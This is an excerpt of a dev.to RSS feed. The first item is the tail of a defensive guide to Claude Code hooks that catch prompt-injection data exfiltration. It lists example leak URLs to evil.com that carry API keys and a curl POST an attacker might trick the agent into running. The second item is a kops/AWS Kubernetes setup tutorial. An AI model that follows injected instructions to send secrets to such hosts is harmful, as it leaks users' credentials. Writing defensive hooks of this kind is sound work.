  &lt;/span&gt;&lt;span class="nl"&gt;"matcher"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Write"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"hooks"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"python3 -c &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;import sys,json; path=json.load(sys.stdin).get('tool_input',{}).get('file_path',''); sensitive=any(s in path for s in ['.env','.key','credentials','secret']); print('Writing to sensitive file: '+path, file=sys.stderr) if sensitive else None; sys.exit(1) if sensitive else sys.exit(0)&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Caution: This is not bulletproof
&lt;/h2&gt;

&lt;p&gt;This hook catches the most common exfiltration vector — query parameters. But data can leak through other parts of a URL too:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Path parameters:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://evil.com/exfil/YOUR_API_KEY/done
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Subdomains:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://YOUR_API_KEY.evil.com/callback
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Fragment identifiers&lt;/strong&gt; (less risky since fragments aren't sent to servers, but still worth knowing):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://evil.com/page#secret=abc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;POST body via other tools&lt;/strong&gt; — if an attacker tricks Claude into using Bash with &lt;code&gt;curl -d "secret=xxx"&lt;/code&gt;, WebFetch hooks won't catch it at all.&lt;/p&gt;

&lt;h3&gt;
  
  
  What you can do about it
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Allowlist known domains&lt;/strong&gt; — instead of checking for &lt;code&gt;?&lt;/code&gt;, flip the logic. Only auto-allow domains you trust, and ask for everything else:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"python3 -c &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;import sys,json; from urllib.parse import urlparse; data=json.load(sys.stdin); url=data.get('tool_input',{}).get('url',''); host=urlparse(url).hostname or ''; trusted=['docs.python.org','developer.mozilla.org','github.com','stackoverflow.com']; is_trusted=any(host.endswith(d) for d in trusted); print('Unknown domain: '+url, file=sys.stderr) if not is_trusted else None; sys.exit(0 if is_trusted else 1)&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Layer your defenses&lt;/strong&gt; — combine the query param hook with a domain allowlist. Use exit 0 for trusted domains with no params, exit 1 for trusted domains with params or unknown domains, and exit 2 for known-bad patterns.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Watch your Bash tool too&lt;/strong&gt; — add a separate hook for Bash that flags &lt;code&gt;curl&lt;/code&gt;, &lt;code&gt;wget&lt;/code&gt;, or &lt;code&gt;nc&lt;/code&gt; commands with suspicious arguments.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Review the URL every time you approve&lt;/strong&gt; — sounds obvious, but when you're in flow and approving prompts quickly, it's easy to glaze over. The whole point of exit code 1 is to make you pause. Actually pause.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Bottom line:&lt;/strong&gt; The hook in this article reduces your attack surface significantly — most prompt injection exfiltration uses query params because it's the easiest path. But no single check catches everything. Treat this as one layer, not the whole wall.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Don't use &lt;code&gt;permissions.allow&lt;/code&gt; for WebFetch — it bypasses all hooks&lt;/li&gt;
&lt;li&gt;Use a &lt;code&gt;PreToolUse&lt;/code&gt; hook that exits 0 (allow) or 1 (ask) based on the URL&lt;/li&gt;
&lt;li&gt;Hook input is JSON via &lt;strong&gt;stdin&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;~/.claude/settings.json&lt;/code&gt; makes it global across all projects&lt;/li&gt;
&lt;li&gt;Query param checks are a good start, but consider domain allowlisting for stronger protection&lt;/li&gt;
&lt;li&gt;Data can also leak via path params, subdomains, and Bash commands — layer your defenses&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The goal isn't to block Claude from fetching URLs. It's to keep yourself in the loop when data might be leaving your machine. Two minutes of setup, permanent peace of mind — but stay vigilant.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;If you're using Claude Code daily, these small safety guardrails compound. Two minutes of config now saves you from a bad day later. Got a better hook setup? Drop it in the comments — let's build a community-maintained collection.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>claudecode</category>
      <category>ai</category>
      <category>security</category>
      <category>devtools</category>
    </item>
    <item>
      <title>Setup your own Kubernetes Cluster with Kops and AWS Infrastructure</title>
      <dc:creator>Abhay</dc:creator>
      <pubDate>Sun, 01 Mar 2020 06:26:59 +0000</pubDate>
      <link>https://dev.to/abhaygawade/setup-your-own-kubernetes-cluster-with-kops-and-aws-infrastructure-1li4</link>
      <guid>https://dev.to/abhaygawade/setup-your-own-kubernetes-cluster-with-kops-and-aws-infrastructure-1li4</guid>
      <description>&lt;p&gt;As you started reading this article, so I believe you must known What is kubernetes and AWS.&lt;/p&gt;

&lt;h1&gt;
  
  
  Pre-requisite configuration:
&lt;/h1&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;AWS Account → &lt;a href="https://portal.aws.amazon.com/billing/signup" rel="noopener noreferrer"&gt;https://portal.aws.amazon.com/billing/signup&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Kubectl (Kubernetes Command-lin Tool):&lt;br&gt;
Install Kubectl on your system → &lt;a href="https://kubernetes.io/docs/tasks/tools/install-kubectl/" rel="noopener noreferrer"&gt;https://kubernetes.io/docs/tasks/tools/install-kubectl/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;KOPS (Kubernetes Operations): &lt;br&gt;
Install Kops on your system, follow this official documentation → &lt;a href="https://github.com/kubernetes/kops#installing" rel="noopener noreferrer"&gt;https://github.com/kubernetes/kops#installing&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Install AWS CLI and configure - &lt;a href="https://aws.amazon.com/cli/" rel="noopener noreferrer"&gt;https://aws.amazon.com/cli/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Verify installation by execcuting &lt;code&gt;aws --version&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;You need to create new user on AWS. However you can use root user, but its not recommended at all.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Open IAM console: &lt;a href="https://console.aws.amazon.com/iam/" rel="noopener noreferrer"&gt;https://console.aws.amazon.com/iam/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;In the navigation pane, choose &lt;strong&gt;Users&lt;/strong&gt; and then choose &lt;strong&gt;Add user&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Type user name for new user. I am using &lt;code&gt;kops&lt;/code&gt; as a username for simplicity&lt;/li&gt;
&lt;li&gt;Select type of access as &lt;strong&gt;Programmatic access&lt;/strong&gt; &lt;/li&gt;
&lt;li&gt;Choose Next for &lt;strong&gt;Permission&lt;/strong&gt; and give admin access to this user with  &lt;em&gt;AdministratorAccess&lt;/em&gt; Policy&lt;/li&gt;
&lt;li&gt;Choose next for &lt;strong&gt;Tags&lt;/strong&gt; and &lt;strong&gt;Review&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;This will creates an &lt;em&gt;Access Key ID&lt;/em&gt; and &lt;em&gt;Secret Access Key&lt;/em&gt;. Store them securely as You will not have access to the secret access key again after this step.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Use command &lt;code&gt;aws configure&lt;/code&gt; and enter &lt;em&gt;Access Key ID&lt;/em&gt;, &lt;em&gt;Secret Access Key&lt;/em&gt; and &lt;em&gt;Default Region Name&lt;/em&gt; on prompt. I am using &lt;code&gt;ap-south-1&lt;/code&gt; which is Asia Pacific server at Mumbai. See list of aws regions &lt;a href="https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.RegionsAndAvailabilityZones.html" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h1&gt;
  
  
  Deploying Kubernetes to AWS
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://kops.sigs.k8s.io/getting_started/aws/" rel="noopener noreferrer"&gt;https://kops.sigs.k8s.io/getting_started/aws/&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Setup IAM user
&lt;/h3&gt;

&lt;p&gt;Create an IAM user with following permissions:&lt;/p&gt;

&lt;pre&gt;AmazonEC2FullAccess
AmazonRoute53FullAccess
AmazonS3FullAccess
IAMFullAccess
AmazonVPCFullAccess
&lt;/pre&gt;

&lt;p&gt;Do it with command line&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/AmazonEC2FullAccess --group-name kops&lt;br&gt;
aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/AmazonRoute53FullAccess --group-name kops&lt;br&gt;
aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/AmazonS3FullAccess --group-name kops&lt;br&gt;
aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/IAMFullAccess --group-name kops&lt;br&gt;
aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/AmazonVPCFullAccess --group-name kops&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;aws iam create-user --user-name kops&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;aws iam add-user-to-group --user-name kops --group-name kops&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;aws iam create-access-key --user-name kops&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Buy a domain (If don't have already)
&lt;/h3&gt;

&lt;p&gt;I have buy (:p) &lt;a href="https://kubernetes.cf" rel="noopener noreferrer"&gt;https://kubernetes.cf&lt;/a&gt; for this tutorial&lt;/p&gt;

&lt;h3&gt;
  
  
  Create Hosted Zone in AWS
&lt;/h3&gt;

&lt;p&gt;Create hosted zone in AWS and update NS in DNS of domain provider&lt;/p&gt;

&lt;h3&gt;
  
  
  Test the DNS setup
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;dig ns dev.kubernetes.cf&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;should get something like &lt;br&gt;
;; ANSWER SECTION:&lt;br&gt;
dev.kubernetes.cf.        172800  IN  NS  ns-1.awsdns-1.net.&lt;br&gt;
dev.kubernetes.cf.        172800  IN  NS  ns-2.awsdns-2.org.&lt;br&gt;
dev.kubernetes.cf.        172800  IN  NS  ns-3.awsdns-3.com.&lt;br&gt;
dev.kubernetes.cf.        172800  IN  NS  ns-4.awsdns-4.co.uk.&lt;/p&gt;

&lt;h3&gt;
  
  
  Create cluster state storage on S3
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;aws s3api create-bucket \&lt;br&gt;
    --bucket dev-kubernetes-cf-state-store \&lt;br&gt;
    --region ap-south-1&lt;br&gt;
    --create-bucket-configuration LocationConstraint=&amp;lt;region&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;aws s3api put-bucket-versioning --bucket dev-kubernetes-cf-state-store  --versioning-configuration Status=Enabled&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;aws s3api put-bucket-encryption --bucket dev-kubernetes-cf-state-store --server-side-encryption-configuration '{"Rules":[{"ApplyServerSideEncryptionByDefault":{"SSEAlgorithm":"AES256"}}]}'&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Creating the Cluster
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;export NAME=dev.kubernetes.cf&lt;br&gt;
export KOPS_STATE_STORE=s3://dev-kubernetes-cf-state-store&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;aws ec2 describe-availability-zones --region ap-south-1&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;create secret
generate local keys: &lt;code&gt;ssh-keygen&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;kops create secret --name dev.kubernetes.cf sshpublickey admin -i ~/.ssh/id_rsa.pub&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  create SSL using AWS Certificate Manager
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;kops create cluster \&lt;br&gt;
    --zones ap-south-1a \&lt;br&gt;
    --state s3://dev-kubernetes-cf-state-store \&lt;br&gt;
    --api-ssl-certificate arn:aws:acm:[aws-cert-key-id} \&lt;br&gt;
    ${NAME}&lt;br&gt;
    &amp;lt;!-- --topology private \ --&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Master and Worker nodes are configurable in termas of specification and count&lt;/p&gt;

&lt;p&gt;If you want to edit something&lt;br&gt;
&lt;code&gt;kops edit cluster ${NAME}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Finally apply cluster configuration&lt;br&gt;
&lt;code&gt;kops update cluster ${NAME} --yes&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;kubectl get nodes&lt;/p&gt;

&lt;p&gt;use following command to validate cluster is up and running, it may take up to 10-15 minutes to complete setup&lt;br&gt;
&lt;code&gt;kops validate cluster&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Install Kubernetes Dashboard
&lt;/h2&gt;

&lt;h4&gt;
  
  
  Connect to master
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;ssh to the master: ssh -i ~/.ssh/id_rsa admin@api.dev.kubernetes.cf&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Install Kube Dashboard
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0-beta6/aio/deploy/recommended.yaml&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Create the service account in the current namespace
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;kubectl create serviceaccount my-dashboard-sa&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Give that service account root access on the cluster
&lt;/h4&gt;

&lt;p&gt;kubectl create clusterrolebinding my-dashboard-sa \&lt;br&gt;
  --clusterrole=cluster-admin \&lt;br&gt;
  --serviceaccount=default:my-dashboard-sa`&lt;/p&gt;

&lt;h4&gt;
  
  
  Find the secret that was created to hold the token for the SA
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;kubectl get secrets&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Show the contents of the secret to extract the token
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;kubectl describe secret my-dashboard-sa-token-xxxxx&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  run &lt;code&gt;kubectl proxy&lt;/code&gt;
&lt;/h4&gt;

&lt;h2&gt;
  
  
  Install ngnix-controller with helm
&lt;/h2&gt;

&lt;p&gt;Install Helm - &lt;a href="https://helm.sh/docs/intro/install/" rel="noopener noreferrer"&gt;https://helm.sh/docs/intro/install/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;helm install nginx-cntroller nginx/nginx-ingress&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  apply SSL on Load Balancer
&lt;/h2&gt;

&lt;h2&gt;
  
  
  update load balancer endpoint url in Route53 as alias target
&lt;/h2&gt;

&lt;h2&gt;
  
  
  change loadbalancer instance port of 443 same as 80
&lt;/h2&gt;

&lt;h3&gt;
  
  
  create service i.e. goapp
&lt;/h3&gt;

&lt;p&gt;User followign docker image for quick reference: &lt;a href="https://hub.docker.com/r/abygawade/goapp" rel="noopener noreferrer"&gt;https://hub.docker.com/r/abygawade/goapp&lt;/a&gt; &lt;/p&gt;

&lt;h2&gt;
  
  
  create an ingress with following configuration
&lt;/h2&gt;

&lt;pre&gt;apiVersion: networking.k8s.io/v1beta1
kind: Ingress
metadata:
  name: dev-ingress
spec:
  rules:
  - host: dev.kubernetes.cf
    http:
      paths:
      - path: /go
        backend:
          serviceName: goapp
          servicePort: 80
&lt;/pre&gt;

&lt;p&gt;Visit: &lt;a href="http://dev.kubernetes.cf/go" rel="noopener noreferrer"&gt;http://dev.kubernetes.cf/go&lt;/a&gt;&lt;br&gt;
       &lt;a href="https://dev.kubernetes.cf/go" rel="noopener noreferrer"&gt;https://dev.kubernetes.cf/go&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Replace &lt;em&gt;kubernetes.cf&lt;/em&gt; with your domain name&lt;/p&gt;

</description>
      <category>kubernetes</category>
      <category>kops</category>
      <category>aws</category>
    </item>
  </channel>
</rss>
